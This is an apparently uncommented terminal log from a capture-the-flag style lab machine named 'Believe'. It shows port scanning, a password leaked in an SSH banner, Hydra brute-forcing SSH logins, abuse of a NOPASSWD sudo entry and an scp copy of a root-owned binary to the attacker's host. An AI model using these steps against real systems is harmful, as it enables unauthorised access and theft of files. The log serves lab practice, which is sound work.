┌──(root㉿Eecho)-[~] └─# rustscan -a 192.168.43.185 -- -A .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- TreadStone was here 🚀
[~] The config file is expected to be at "/root/.rustscan.toml" [~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'. Open 192.168.43.185:22 Open 192.168.43.185:80 Open 192.168.43.185:2222 Open 192.168.43.185:54321 [~] Starting Script(s) [>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.185 Depending on the complexity of the script, results may take some time to appear. [~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-22 23:30 +0800 NSE: Loaded 158 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 23:30 Completed NSE at 23:30, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 23:30 Completed NSE at 23:30, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 23:30 Completed NSE at 23:30, 0.00s elapsed Initiating ARP Ping Scan at 23:30 Scanning 192.168.43.185 [1 port] Completed ARP Ping Scan at 23:30, 0.04s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 23:30 Completed Parallel DNS resolution of 1 host. at 23:30, 1.50s elapsed DNS resolution of 1 IPs took 1.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 2, CN: 0] Initiating SYN Stealth Scan at 23:30 Scanning 192.168.43.185 [4 ports] Discovered open port 54321/tcp on 192.168.43.185 Discovered open port 22/tcp on 192.168.43.185 Discovered open port 2222/tcp on 192.168.43.185 Discovered open port 80/tcp on 192.168.43.185 Completed SYN Stealth Scan at 23:30, 0.02s elapsed (4 total ports) Initiating Service scan at 23:30 Scanning 4 services on 192.168.43.185 Completed Service scan at 23:30, 6.03s elapsed (4 services on 1 host) Initiating OS detection (try #1) against 192.168.43.185 Retrying OS detection (try #2) against 192.168.43.185 NSE: Script scanning 192.168.43.185. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 23:30 Completed NSE at 23:30, 0.31s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 23:30 Completed NSE at 23:30, 0.01s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 23:30 Completed NSE at 23:30, 0.00s elapsed Nmap scan report for 192.168.43.185 Host is up, received arp-response (0.00075s latency). Scanned at 2026-05-22 23:30:25 CST for 10s
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 10.3 (protocol 2.0) 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.67 ((Unix)) |_http-title: Login | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.67 (Unix) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS 2222/tcp open ssh syn-ack ttl 64 OpenSSH 10.3 (protocol 2.0) 54321/tcp open ssh syn-ack ttl 64 OpenSSH 10.3 (protocol 2.0) MAC Address: 08:00:27:89:88:60 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port OS fingerprint not ideal because: Missing a closed TCP port so results incomplete Aggressive OS guesses: Linux 4.15 - 5.19 (97%), OpenWrt 22.03 (Linux 5.10) (94%), Android 9 - 11 (Linux 4.9 - 4.14) (93%), Linux 2.6.32 (93%), Linux 5.10 - 5.19 (93%), Linux 3.2 - 4.14 (93%), Linux 5.4 - 5.10 (93%), OpenWrt 21.02 (Linux 5.4) (93%), Linux 2.6.32 - 3.10 (93%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (92%) No exact OS matches for host (test conditions non-ideal). TCP/IP fingerprint: SCAN(V=7.99%E=4%D=5/22%OT=22%CT=%CU=36030%PV=Y%DS=1%DC=D%G=N%M=080027%TM=6A10769B%P=x86_64-pc-linux-gnu) SEQ(SP=102%GCD=1%ISR=106%TI=Z%CI=Z%II=I%TS=21) SEQ(SP=FD%GCD=4%ISR=108%TI=Z%CI=Z%II=I%TS=21) OPS(O1=M5B4ST11NW9%O2=M5B4ST11NW9%O3=M5B4NNT11NW9%O4=M5B4ST11NW9%O5=M5B4ST11NW9%O6=M5B4ST11) WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88) ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW9%CC=Y%Q=) T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=) T2(R=N) T3(R=N) T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=) T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=) T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=) T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=) U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G) IE(R=Y%DFI=N%T=40%CD=S)
Uptime guess: 0.000 days (since Fri May 22 23:30:32 2026) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=258 (Good luck!) IP ID Sequence Generation: All zeros
TRACEROUTE HOP RTT ADDRESS 1 0.75 ms 192.168.43.185
NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 23:30 Completed NSE at 23:30, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 23:30 Completed NSE at 23:30, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 23:30 Completed NSE at 23:30, 0.00s elapsed Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.60 seconds Raw packets sent: 49 (3.760KB) | Rcvd: 33 (2.704KB)
┌──(root㉿Eecho)-[~] └─# ssh eecho@192.168.43.185 The authenticity of host '192.168.43.185 (192.168.43.185)' can't be established. ED25519 key fingerprint is: SHA256:xJ90oWmr5sPR2afHz9etzSdtxINmLI+JvbwgV/iCsWY This host key is known by the following other names/addresses: ~/.ssh/known_hosts:8: [hashed name] ~/.ssh/known_hosts:15: [hashed name] ~/.ssh/known_hosts:24: [hashed name] ~/.ssh/known_hosts:25: [hashed name] ~/.ssh/known_hosts:27: [hashed name] ~/.ssh/known_hosts:34: [hashed name] ~/.ssh/known_hosts:40: [hashed name] ~/.ssh/known_hosts:70: [hashed name] (2 additional names omitted) Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.43.185' (ED25519) to the list of known hosts. ================================================== admin yubao9694482664 ================================================== eecho@192.168.43.185's password:
┌──(root㉿Eecho)-[/tmp/bbbb] └─# vim users.txt ┌──(root㉿Eecho)-[/tmp/bbbb] └─# cat users.txt yu yubao bao ┌──(root㉿Eecho)-[/tmp/bbbb] └─# hydra -L users.txt -p yubao9694482664 ssh://192.168.43.185:2222 Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-26 17:45:00 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:3/p:1), ~1 try per task [DATA] attacking ssh://192.168.43.185:2222/ 1 of 1 target completed, 0 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-26 17:45:00 ┌──(root㉿Eecho)-[/tmp/bbbb] └─# hydra -L users.txt -p yubao9694482664 ssh://192.168.43.185:22 Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-26 17:45:06 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:3/p:1), ~1 try per task [DATA] attacking ssh://192.168.43.185:22/ [ERROR] could not connect to ssh://192.168.43.185:22 - Socket error: Connection reset by peer ┌──(root㉿Eecho)-[/tmp/bbbb] └─# hydra -L users.txt -p yubao9694482664 ssh://192.168.43.185:54321 Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-26 17:44:35 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:3/p:1), ~1 try per task [DATA] attacking ssh://192.168.43.185:54321/ [54321][ssh] host: 192.168.43.185 login: yu password: yubao9694482664 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-26 17:44:35
yu@Believe:/var/log/.hidden$ sudo -l Matching Defaults entries for yu on Believe: secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
Runas and Command-specific defaults for yu: Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"
User yu may run the following commands on Believe: (root) NOPASSWD: /root/be yu@Believe:/var/log/.hidden$ sudo /root/be 验证密钥（*******）: believe 密钥正确 yu@Believe:/var/log/.hidden$
yu@Believe:~$ scp be root@192.168.43.6:/tmp/bbbb The authenticity of host '192.168.43.6 (192.168.43.6)' can't be established. ED25519 key fingerprint is: SHA256:ZyUbPteDlhKgfFR102PGhJUWNS++vR62HchhPFY2Cfw This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.43.6' (ED25519) to the list of known hosts. root@192.168.43.6's password: be
